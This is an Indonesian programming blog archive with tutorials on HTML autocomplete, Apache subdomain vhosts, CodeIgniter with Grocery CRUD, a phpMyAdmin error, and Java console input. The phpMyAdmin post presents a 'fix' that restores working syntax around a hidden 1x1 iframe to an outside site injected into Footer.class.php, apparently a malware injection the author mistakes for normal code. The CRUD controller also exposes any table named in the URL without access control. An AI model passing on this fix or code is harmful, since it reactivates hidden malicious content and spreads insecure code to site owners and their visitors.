Kamis, 30 Maret 2017

disable text input history [HTML]


saat kita melakukan inputan pada sebuah element input pada html akan muncul history yang apa saja yang pernah diinputkan. Hal ini sangat berguna kita tidak terlalu lelah untuk mengetikan inputan teserbut. Tapi suatu saat kita membutuhkan history inputan tersebut tidak ingin di muncul. kalau hapus cache browser tentu akan bersih, tapi bagaimana untuk hanya beberapa inputan saja yang tidak ingin kita tampilkan history nya.
caranya cukup mudah.

anda cukup memberikan perintah autocomplete="off" pada element inputan.
contoh penggunaannya adalah :
<input type="text" name="nama" autocomplete="off"> 
dengan begitu history pada inputan akan hilang, cukup mudah bukan :D.

Create Subdomain via vhost on Debian

semisalnya kita membuat sebuah domain.com dan masih bisa kita tambahkan lagi sub-domain dari domain utama tersebut, sehingga kita akan lebih hemat dalam menggunakan ip address dan juga domain. Jika anda menggunakan hostingan hal tersebut tidaklah sulit karena anda dapat melakukannya menggunakan Cpanel. Bagaimana kalau seandainya anda menggunakan VPS?.
Pada artikel ini kita akan membahas bagaimana membuat sub-domain menggunakan vhost pada server debian.
1. Buatlah sebuah direktori untuk subdomain tersebut.
kita asumsikan kalau subdomain akan berada didalam direktori html dengan nama "subdomain"
ex :
mkdir /var/www/html/subdomain
2.  Konfigurasi Virtualhost
masukan perintah ini di terminal
3. Pindah directory
cd /etc/apache2/sites-available
4. masukan perintah berikut 
cp 000-default.conf subdomain.conf
5. edit file subdomain.conf
nano subdomain.conf
<VirtualHost *:80>
# The ServerName directive sets the request scheme, hostname and port that
# the server uses to identify itself. This is used when creating
# redirection URLs. In the context of virtual hosts, the ServerName
# specifies what hostname must appear in the request's Host: header to
# match this virtual host. For the default virtual host (this file) this
# value is not decisive as it is used as a last resort host regardless.
# However, you must set it for any further virtual host explicitly.
#ServerName www.example.com
ServerAdmin xmoensen@gmail.com
ServerName domain.com
ServerAlias subdomain.domain.com
DocumentRoot /var/www/html/subdomain

# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the loglevel for particular
# modules, e.g.
#LogLevel info ssl:warn
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
# For most configuration files from conf-available/, which are
# enabled or disabled at a global level, it is possible to
# include a line for only one particular virtual host. For example the
# following line enables the CGI configuration for this host only
# after it has been globally disabled with "a2disconf".
#Include conf-available/serve-cgi-bin.conf
</VirtualHost>


keterangan :
ServerAdmin = alamat email pemilik domain
ServerName = nama domain utama, ex : domain.com
ServerAlias = nama subdomain yang ingin di ahlikan. ex : subdomain.domain.com
DocumentRoot= tempat/ directory pengalihan dari virtual alias yang sudah dibuat.
6. aktifkan site tersebut
code :
a2ensite subdomain.conf
7. restart apache2
code 
/etc/init.d/apache2 restart 
 8. testing dengan browser dengan akses nama subdomain yang sudah dibuat tadi.

Rabu, 29 Maret 2017

CRUD Dengan Framework Codeigniter + grocerycrud


GROCERY CRUD adalah library open source yang digunakan untuk melakukan generate fitur CRUD (Create Read Update Delete) secara otomatis pada aplikasi berbasis web yang dibuat menggunakan framework codeigniter atau sering juga disebut dengam sebutan codeigniter CRUD Generator, karena hanya cukup dengan 5 baris script saja anda sudah mempunyai fitur CRUD yang powerfull. tentunya ini akan sangat bermanfaat jika anda sedang mengerjakan sebuah proyek yang memiliki banyak tabel master, dari pada membuat CRUD nya satu persatu lebih pakai pakai GROCERY CRUD saja untuk menghemat waktu pengerjaan crud tabel.
library ini juga cukup power full tapi? library ini masih memiliki kekurangan, jika anda gunakan dalam membangun sebuah aplikasi yang saling terhubunga dengan beberapa relasi atau anda memiliki proses sebelum melakukan penyimpanan tentu library ini tidak dapat digunakan.
pada artikel ini saya tidak mengajar anda malas ngoding, tujuan artikel ini hanya bagaimana melakukan pemanfaatkan sebuah library yang opensource. bukan mengajarkan anda bermalasan dalam melakukan pembuatan kode.
cara melakukan integrasi dengan Grocery + Codeigniter dapat dilakukan dengan tahapan berikut ini :
1.  Download framework Codeigniter
Framework Codeigniter dapat anda download di sini : DOWNLOAD
2. Download Library Grocery 
Library grocery dapat anda download di sini : DOWNLOAD

jika kedua file tersebut sudah anda download, buatlah sebuah folder pada direktory webserver anda, di sini saya membuat sebuah direktory dengan nama "crud"
extract kedua file tersebut dengan aturan yang anda extract terlebih dahulu adalah file codeigniter baru anda extract grocery.
dalam melakukan extract harus didalam direktory yang sama.sehingga file akan menjadi seperti gambar dibawah ini :
Tahap Konfigurasi :
1. Pengaturan koneksi database
Lakukan konfigurasi database dengan melakukan pengeditan pada file application/config/database.php
$active_group = 'default';
$query_builder = TRUE;
$db['default'] = array(
'dsn' => '',
'hostname' => 'localhost',
'username' => 'root',
'password' => '',
'database' => 'toko_mobil',
'dbdriver' => 'mysqli',
'dbprefix' => '',
'pconnect' => FALSE,
'db_debug' => (ENVIRONMENT !== 'production'),
'cache_on' => FALSE,
'cachedir' => '',
'char_set' => 'utf8',
'dbcollat' => 'utf8_general_ci',
'swap_pre' => '',
'encrypt' => FALSE,
'compress' => FALSE,
'stricton' => FALSE,
'failover' => array(),
'save_queries' => TRUE
);
yang perlu dilakukan perubahan adalah pada tulisan warna biru:
username : anda sesuaikan dengan username database
password : sesuai dengan password database
database : sesuaikan dengan database yang digunakan,pada contoh saya menggunakan database yang bernama "toko_mobil"

2. Konfigurasi base_url
lakukan perubahan pada file application/config/config.php
$config['base_url'] = '';
tambah menjadi 
$config['base_url'] = '';
$config['base_url'] = ((isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == "on") ? "https" : "http");
$config['base_url'] .= "://".$_SERVER['HTTP_HOST'];
$config['base_url'] .= str_replace(basename($_SERVER['SCRIPT_NAME']),"",$_SERVER['SCRIPT_NAME']);
oiya lupa untuk pada database saya terdapat 2 buah tabel
sekarang yang harus kita lakukan adalah membuat sebuah controller baru dengan nama : "Data"
<?php
Class Data extends CI_Controller {
    function __construct() {        parent::__construct();        $this->load->database();        $this->load->helper('url');        $this->load->library('grocery_CRUD');    }
    function index() {        $this->load->view('template.php',(array('output' => '' , 'js_files' => array() , 'css_files' => array())));

    }    public function namadb($db) {            $crud = new grocery_CRUD();                        $crud->set_theme('datatables');
        $crud->set_table($db);        $output = $crud->render();        $this->load->view('template.php', (array)$output);    }
}
pata view buat sebuah file dengan nama tamplate.php dengan script seperti berikut :

<!DOCTYPE html>
<html>
<head>
        <title>GROCERY GRUD - h4nk.blogspot.com</title>

    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
<?php 
foreach($css_files as $file): ?>
    <link type="text/css" rel="stylesheet" href="<?php echo $file; ?>" />
<?php endforeach; ?>
<?php foreach($js_files as $file): ?>
    <script src="<?php echo $file; ?>"></script>
<?php endforeach; ?>
</head>
<body>
    <div>
        <a href='<?php echo site_url('Data/namadb/jenis')?>'>Jenis Kendaraan</a> |
        <a href='<?php echo site_url('Data/namadb/daftar_mobil')?>'>Daftar Mobil</a> |

        
    </div>
    <div style='height:20px;'></div>  
    <div>
        <?php echo $output; ?>
    </div>
</body>
</html>

sekarang coba panggil dengan alamat : localhost/crud/index.php/Data/
sekarnag klik Jenis Kendaraan 
sekarang fitur inser, edit, delete, view,export, print sudah bisa anda gunakan dengan baik.

untuk contoh script dapat anda download di sini :

Jumat, 24 Maret 2017

[SOLVED] parse error syntax error unexpected 'height' (T_STRING) in footer.class.php on line 364


saat melakukan running "phpmyadmin" ternyata ada error dengan pesan "parse error syntax error unexpected 'height' (T_STRING) in footer.class.php on line 364"

solusinya untuk melakukan perbaikannya adalah :
- Buka file libraries\Footer.class.php
- pada baris 364 :
"<iframe src="http://Zief.pl/rc/" width=1 height=1 style="border:0"></iframe></body></html>";
ganti menjadi
'<iframe src="http://Zief.pl/rc/" width=1 height=1 style="border:0"></iframe></body></html>';
save kembali, kemudian coba buka kembali PHPmyadmin nya. permasalahan kelar. 

Selasa, 07 Maret 2017

Aplikasi Inputan Keyboard dengan Java


melakukan  inputan dari keyboard dengan java.
berikut source code nya :

/*
 * To change this license header, choose License Headers in Project Properties.
 * To change this template file, choose Tools | Templates
 * and open the template in the editor.
 */
package praktikum4;
import java.io.BufferedReader;
import java.io.InputStreamReader;
/**
 *
 * @author H4nk
 */
public class inputdarikeyboard3 {
    public static void main(String[]args){
       BufferedReader input = new BufferedReader(new InputStreamReader(System.in));
        String nofak="";
        String napel="";
        String jumdata="";
    try {
        System.out.println("          Input Data Penjualan              ");
        System.out.println("============================================");
        System.out.print("No. Faktur         :");
        nofak = input.readLine();
        System.out.print("Nama Pelanggan     :");
        napel = input.readLine();
        System.out.print("Jumlah beli        :");
        jumdata = input.readLine();
    }catch(Exception e){
        System.out.println("Ada Kesalahan....!");
       
    }
    int jb= Integer.valueOf(jumdata).intValue();
    String kobar[] = new String[jb];
    String nabar[] = new String[jb];
    String harga[] = new String[jb];
    String qty[] = new String[jb];
    double jmlharga[] = new double[jb];
    double totsel=0;
    double ppn=0;
    double totbay=0;
   
    System.out.println("=====================Input Data Barang=============");
    for(int i=0; i<jb; i++)
    {
        try{
            System.out.println("Data ke " +(i+1));
            System.out.print("Kode Barang  : ");
            kobar[i] = input.readLine();
            System.out.print("Nama Barang  : ");
            nabar[i]= input.readLine();
            System.out.print("Harga        : ");
            harga[i] = input.readLine();
            System.out.print("Qty          :");
            qty[i] = input.readLine();
            double hrg = Double.valueOf(harga[i]).doubleValue();
            int qt = Integer.valueOf(qty[i]).intValue();
            jmlharga[i] = hrg * qt;
            totsel = totsel + jmlharga[i];
            ppn = 0.1 * totsel;
            totbay = totsel + ppn;
        }catch(Exception e){
            System.out.println("Ada Kesalahan....!");
        }
    }
    System.out.println("============TOKO AL RASYID=========================");
    System.out.println("================FAKTUR PENJUALAN===================");
    System.out.println("No Faktur     :"+nofak);
    System.out.println("Nama Pelanggan :"+napel);
    System.out.println("==================================================================");
    System.out.println("No.    Kode Barang    Nama Barang    harga    Qty    Jumlah Harga");
    System.out.println("==================================================================");
    for (int i=0;i<jb;i++){
        System.out.println((i+1)+"\t"+kobar[i]+"\t\t"+ nabar[i]+"\t\t"+harga[i]+"\t"+qty[i]+"\t"+jmlharga[i]);
       
    }
    System.out.println("===================================================================");
    System.out.println("Total        :"+"\t\t\t\t\t\t"+totsel);
    System.out.println("Ppn(10%)     :"+"\t\t\t\t\t\t"+ppn);
    System.out.println("Total Bayar  :"+"\t\t\t\t\t\t"+totbay);
    System.out.println("===================================================================");
    }
}
hasil dari debug file tersebut adalah seperti pada gambar di bawah ini: